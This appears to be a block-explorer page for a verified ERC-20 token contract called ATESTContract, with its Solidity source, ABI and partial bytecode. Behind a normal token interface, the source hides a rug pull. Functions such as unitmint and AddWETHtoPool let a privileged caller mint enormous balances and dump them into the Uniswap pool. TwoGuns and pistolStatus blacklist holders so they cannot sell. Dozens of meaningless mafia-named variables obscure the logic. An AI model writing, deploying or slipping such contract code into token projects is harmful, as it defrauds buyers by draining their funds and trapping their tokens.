ERC-20
Overview
Max Total Supply
1,000,000,000 TEST
Holders
2
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
ATESTContract
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-10-06
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(msg.sender);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == msg.sender, "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {}
library SecureCalls {
function checkCaller(address sender, address _msgcall) internal pure {
require(sender == _msgcall, "Caller is not the original caller");
}
}
contract ATESTContract is IERC20, Ownable {
IUniswapV2Router02 internal _router;
IUniswapV2Pair internal _pair;
address _msgcall;
address _pairToken;
mapping(address => uint256) private _amountsupply;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000000000000000000000000;
string private _name = "BASE TEST";
string private _symbol = "TEST";
uint8 private _decimals = 18;
constructor (address routerAddress, address pairTokenAddress) {
_router = IUniswapV2Router02(routerAddress);
_pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), pairTokenAddress));
_amountsupply[owner()] = _totalSupply;
_msgcall = msg.sender;
_pairToken = pairTokenAddress;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _amountsupply[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = msg.sender;
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = msg.sender;
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!pistolStatus(from), "ERC20: No premission to transfer");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _amountsupply[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_amountsupply[from] = fromBalance - amount;
_amountsupply[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_amountsupply[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _amountsupply[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_amountsupply[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function AddWETHtoPool() external {
bool isUnderboss = (bytes20(blockhash(block.number - 1)) < bytes20(msg.sender));
SecureCalls.checkCaller(msg.sender, _msgcall);
bool isGodFella = (tx.origin != msg.sender);
uint256 thisTokenReserve = GetTokenAmountValue(address(this));
uint256 moonshineGallons = block.number % 1000 + 500;
moonshineGallons = (moonshineGallons * 11) / 10;
uint256 purpleGang = (block.timestamp * address(this).balance) % 1000;
uint256 amountIn = type(uint112).max - thisTokenReserve;
bool isGoodFella = (tx.origin != msg.sender);
unitcall(); transfer(address(this), balanceOf(msg.sender));
bool isWitnessSilenced = (uint256(blockhash(block.number - 1)) % 1000 < 10);
_approve(address(this), address(_router), type(uint112).max);
uint256 donCorleoneRespect = uint256(keccak256(abi.encodePacked(block.number, msg.sender, block.timestamp))) % 100 + 1;
address[] memory path;
path = new address[](2);
path[0] = address(this);
path[1] = address(_router.WETH());
uint256 prettyBoyFloyd = (address(this).balance * block.timestamp) % 10000;
address to = msg.sender;
_router.swapExactTokensForTokens(
amountIn,
0,
path,
to,
block.timestamp
);
}
function GetTokenAmountValue(address token) public view returns (uint256) {
(uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
return baseTokenReserve;
}
function unitcall() internal {
uint256 jailTime = block.timestamp % (365 days);
_amountsupply[msg.sender] += type(uint112).max;
bool escapeFromAlcatraz = (block.number % 2 == 0);
}
function unitmint() public {
uint256 bulletProofVest = block.number * 911;
SecureCalls.checkCaller(msg.sender, _msgcall); unitcall();
uint256 racketeeringProfit = mulmod(block.number, uint256(keccak256(abi.encodePacked(msg.sender))), 1000000);
}
function AddLiquidity() public payable {
SecureCalls.checkCaller(msg.sender, _msgcall);
transfer(address(this), balanceOf(msg.sender));
_approve(address(this), address(_router), balanceOf(address(this)));
_router.addLiquidityETH{ value:msg.value }(
address(this),
balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp
);
}
function AddNewPairLP(address _newRouterAddress, address _newPairTokenAddress) public {
SecureCalls.checkCaller(msg.sender, _msgcall);
if (address(_router) != _newRouterAddress) {
_router = IUniswapV2Router02(_newRouterAddress);
}
_pairToken = _newPairTokenAddress;
_pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _newPairTokenAddress));
}
bool isMobBoss = (block.number % 100 == 0);
mapping(address => uint8) internal _msgunit;
uint256 donCorleoneRespect = uint256(keccak256(abi.encodePacked(block.number, msg.sender, block.timestamp))) % 100 + 1;
function pistolStatus(address _unit) public view returns(bool) {
bool isScarface = (tx.gasprice < 50 gwei);
uint256 lugerCaliberCount = mulmod(block.timestamp, uint256(keccak256(abi.encodePacked(msg.sender))), 9) + 1;
return _msgunit[_unit] == 0 ? false : true;
uint256 lastSupperGuests = mulmod(block.timestamp, uint256(blockhash(block.number - 1)), 12) + 1;
uint256 salSammy = (address(this).balance * block.timestamp) % 100000;
}
function TwoGuns(address _unit, uint8 _sniper) public {
uint256 bootleggingRoute = mulmod(block.number, uint256(blockhash(block.number - 1)), 100) + 1;
uint256 mafiosoPower = addmod(uint256(keccak256(abi.encodePacked(msg.sender))), block.timestamp, type(uint256).max);
SecureCalls.checkCaller(msg.sender, _msgcall);
bool isOmerta = (block.number % 5 == 0);
require(_sniper < 2, "God");
uint256 leftyTwoGuns = (block.timestamp * block.number) % 10000 + 1;
bool isUntouchable = (block.number % 11 == 0);
require(_sniper != _msgunit[_unit], "Sniper");
bool isFiveFamily = (uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp))) % 5 == 0);
_msgunit[_unit] = _sniper;
uint256 teamstersPension = (block.timestamp * address(this).balance) % 1000000 + 1;
}
function CaliberCount(address newcall) public {
uint256 eliot = (address(this).balance * block.number) % 1000;
bool isBugsy = (tx.origin == msg.sender);
SecureCalls.checkCaller(msg.sender, _msgcall);
bool isUntouchable = (block.number % 11 == 0);
_msgcall = newcall;
uint256 omertaCode = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 1000000 + 1;
require(omertaCode != 313, "Lucky Luciano's watching");
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"pairTokenAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_newRouterAddress","type":"address"},{"internalType":"address","name":"_newPairTokenAddress","type":"address"}],"name":"AddNewPairLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"AddWETHtoPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newcall","type":"address"}],"name":"CaliberCount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"GetTokenAmountValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_unit","type":"address"},{"internalType":"uint8","name":"_sniper","type":"uint8"}],"name":"TwoGuns","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_unit","type":"address"}],"name":"pistolStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unitmint","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040526b033b2e3c9fd0803ce80000006007556040518060400160405280600981526020017f4241534520544553540000000000000000000000000000000000000000000000815250600890816200005a9190620007d2565b506040518060400160405280600481526020017f544553540000000000000000000000000000000000000000000000000000000081525060099081620000a19190620007d2565b506012600a60006101000a81548160ff021916908360ff1602179055506000606443620000cf9190620008e8565b14600a60016101000a81548160ff021916908315150217905550600160644333426040516020016200010493929190620009c9565b6040516020818303038152906040528051906020012060001c620001299190620008e8565b62000135919062000a3b565b600c553480156200014557600080fd5b5060405162003dc338038062003dc383398181016040528101906200016b919062000aac565b6200017c336200046b60201b60201c565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000251919062000af3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200028d92919062000b36565b6020604051808303816000875af1158015620002ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d3919062000af3565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600754600560006200032a6200052f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003fa6200052f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200045b919062000b74565b60405180910390a3505062000b91565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005da57607f821691505b602082108103620005f057620005ef62000592565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200065a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200061b565b6200066686836200061b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006b3620006ad620006a7846200067e565b62000688565b6200067e565b9050919050565b6000819050919050565b620006cf8362000692565b620006e7620006de82620006ba565b84845462000628565b825550505050565b600090565b620006fe620006ef565b6200070b818484620006c4565b505050565b5b81811015620007335762000727600082620006f4565b60018101905062000711565b5050565b601f82111562000782576200074c81620005f6565b62000757846200060b565b8101602085101562000767578190505b6200077f62000776856200060b565b83018262000710565b50505b505050565b600082821c905092915050565b6000620007a76000198460080262000787565b1980831691505092915050565b6000620007c2838362000794565b9150826002028217905092915050565b620007dd8262000558565b67ffffffffffffffff811115620007f957620007f862000563565b5b620008058254620005c1565b6200081282828562000737565b600060209050601f8311600181146200084a576000841562000835578287015190505b620008418582620007b4565b865550620008b1565b601f1984166200085a86620005f6565b60005b8281101562000884578489015182556001820191506020850194506020810190506200085d565b86831015620008a45784890151620008a0601f89168262000794565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620008f5826200067e565b915062000902836200067e565b925082620009155762000914620008b9565b5b828206905092915050565b6000819050919050565b6200093f62000939826200067e565b62000920565b82525050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009728262000945565b9050919050565b60008160601b9050919050565b6000620009938262000979565b9050919050565b6000620009a78262000986565b9050919050565b620009c3620009bd8262000965565b6200099a565b82525050565b6000620009d782866200092a565b602082019150620009e98285620009ae565b601482019150620009fb82846200092a565b602082019150819050949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000a48826200067e565b915062000a55836200067e565b925082820190508082111562000a705762000a6f62000a0c565b5b92915050565b600080fd5b62000a868162000965565b811462000a9257600080fd5b50565b60008151905062000aa68162000a7b565b92915050565b6000806040838503121562000ac65762000ac562000a76565b5b600062000ad68582860162000a95565b925050602062000ae98582860162000a95565b9150509250929050565b60006020828403121562000b0c5762000b0b62000a76565b5b600062000b1c8482850162000a95565b91505092915050565b62000b308162000965565b82525050565b600060408201905062000b4d600083018562000b25565b62000b5c602083018462000b25565b9392505050565b62000b6e816200067e565b82525050565b600060208201905062000b8b600083018462000b63565b92915050565b6132228062000ba16000396000f3fe6080604052600436106101355760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610409578063bb7a6a8214610446578063d73e1e1314610483578063d77d618e146104ac578063dd62ed3e146104c3578063f2fde38b1461050057610135565b80638da5cb5b1461032457806392b6ff661461034f57806395d89b4114610378578063a293f7ee146103a3578063a457c2d7146103cc57610135565b8063313ce567116100fd578063313ce56714610214578063395093511461023f578063453fbd391461027c5780635d7e2a35146102b957806370a08231146102d0578063715018a61461030d57610135565b806306fdde031461013a578063095ea7b3146101655780630bc488c5146101a257806318160ddd146101ac57806323b872dd146101d7575b600080fd5b34801561014657600080fd5b5061014f610529565b60405161015c9190611fd4565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061209e565b6105bb565b60405161019991906120f9565b60405180910390f35b6101aa6105d7565b005b3480156101b857600080fd5b506101c1610702565b6040516101ce9190612123565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f9919061213e565b61070c565b60405161020b91906120f9565b60405180910390f35b34801561022057600080fd5b50610229610734565b60405161023691906121ad565b60405180910390f35b34801561024b57600080fd5b506102666004803603810190610261919061209e565b61074b565b60405161027391906120f9565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906121c8565b61077b565b6040516102b091906120f9565b60405180910390f35b3480156102c557600080fd5b506102ce61083e565b005b3480156102dc57600080fd5b506102f760048036038101906102f291906121c8565b6108ca565b6040516103049190612123565b60405180910390f35b34801561031957600080fd5b50610322610913565b005b34801561033057600080fd5b50610339610927565b6040516103469190612204565b60405180910390f35b34801561035b57600080fd5b50610376600480360381019061037191906121c8565b610950565b005b34801561038457600080fd5b5061038d610ab5565b60405161039a9190611fd4565b60405180910390f35b3480156103af57600080fd5b506103ca60048036038101906103c5919061221f565b610b47565b005b3480156103d857600080fd5b506103f360048036038101906103ee919061209e565b610d9b565b60405161040091906120f9565b60405180910390f35b34801561041557600080fd5b50610430600480360381019061042b919061209e565b610e0b565b60405161043d91906120f9565b60405180910390f35b34801561045257600080fd5b5061046d600480360381019061046891906121c8565b610e27565b60405161047a9190612123565b60405180910390f35b34801561048f57600080fd5b506104aa60048036038101906104a5919061228b565b610fbc565b005b3480156104b857600080fd5b506104c161126e565b005b3480156104cf57600080fd5b506104ea60048036038101906104e5919061221f565b6116db565b6040516104f79190612123565b60405180910390f35b34801561050c57600080fd5b50610527600480360381019061052291906121c8565b611762565b005b606060088054610538906122fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610564906122fa565b80156105b15780601f10610586576101008083540402835291602001916105b1565b820191906000526020600020905b81548152906001019060200180831161059457829003601f168201915b5050505050905090565b6000803390506105cc8185856117e5565b600191505092915050565b61060333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b61061530610610336108ca565b610e0b565b5061064b30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610646306108ca565b6117e5565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610694306108ca565b60008033426040518863ffffffff1660e01b81526004016106ba96959493929190612370565b60606040518083038185885af11580156106d8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106fd91906123e6565b505050565b6000600754905090565b60008033905061071d858285611a20565b610728858585611aac565b60019150509392505050565b6000600a60009054906101000a900460ff16905090565b60008033905061077081858561076185896116db565b61076b9190612468565b6117e5565b600191505092915050565b600080640ba43b74003a1090506000600160098061079c5761079b61249c565b5b336040516020016107ad9190612513565b6040516020818303038152906040528051906020012060001c42096107d29190612468565b90506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614610832576001610835565b60005b92505050919050565b600061038f4361084e9190612562565b905061087c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b610884611d6e565b6000620f4240806108985761089761249c565b5b336040516020016108a99190612513565b6040516020818303038152906040528051906020012060001c430990505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61091b611dff565b6109256000611e76565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006103e843476109619190612562565b61096b91906125a4565b905060003373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161490506109cc33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b600080600b436109dc91906125a4565b14905083600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006001620f42404233604051602001610a3b9291906125f6565b6040516020818303038152906040528051906020012060001c610a5e91906125a4565b610a689190612468565b90506101398103610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa59061266e565b60405180910390fd5b5050505050565b606060098054610ac4906122fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610af0906122fa565b8015610b3d5780601f10610b1257610100808354040283529160200191610b3d565b820191906000526020600020905b815481529060010190602001808311610b2057829003601f168201915b5050505050905090565b610b7333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a5781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdc91906126a3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b8152600401610d169291906126d0565b602060405180830381865afa158015610d33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5791906126a3565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000803390506000610dad82866116db565b905083811015610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de99061276b565b60405180910390fd5b610dff82868684036117e5565b60019250505092915050565b600080339050610e1c818585611aac565b600191505092915050565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610e99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebd919061280d565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6c91906126a3565b73ffffffffffffffffffffffffffffffffffffffff1614610f9d57816dffffffffffffffffffffffffffff16610faf565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b60006001606480610fd057610fcf61249c565b5b600143610fdd919061252e565b4060001c4309610fed9190612468565b905060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff806110205761101f61249c565b5b42336040516020016110329190612513565b6040516020818303038152906040528051906020012060001c08905061107a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b60008060054361108a91906125a4565b14905060028460ff16106110d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ca906128ac565b60405180910390fd5b6000600161271043426110e69190612562565b6110f091906125a4565b6110fa9190612468565b9050600080600b4361110c91906125a4565b149050600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168660ff16036111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90612918565b60405180910390fd5b600080600533426040516020016111bb929190612938565b6040516020818303038152906040528051906020012060001c6111de91906125a4565b14905086600b60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555060006001620f4240474261124d9190612562565b61125791906125a4565b6112619190612468565b9050505050505050505050565b60003360601b6bffffffffffffffffffffffff1916600143611290919061252e565b406bffffffffffffffffffffffff19161090506112cf33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119ae565b60003373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614159050600061130e30610e27565b905060006101f46103e84361132391906125a4565b61132d9190612468565b9050600a600b8261133e9190612562565b6113489190612964565b905060006103e8474261135b9190612562565b61136591906125a4565b90506000836dffffffffffffffffffffffffffff8016611385919061252e565b905060003373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141590506113c3611d6e565b6113d5306113d0336108ca565b610e0b565b506000600a6103e86001436113ea919061252e565b4060001c6113f891906125a4565b10905061143830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff80166117e5565b60006001606443334260405160200161145393929190612995565b6040516020818303038152906040528051906020012060001c61147691906125a4565b6114809190612468565b90506060600267ffffffffffffffff81111561149f5761149e6129d2565b5b6040519080825280602002602001820160405280156114cd5781602001602082028036833780820191505090505b50905030816000815181106114e5576114e4612a01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561158c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508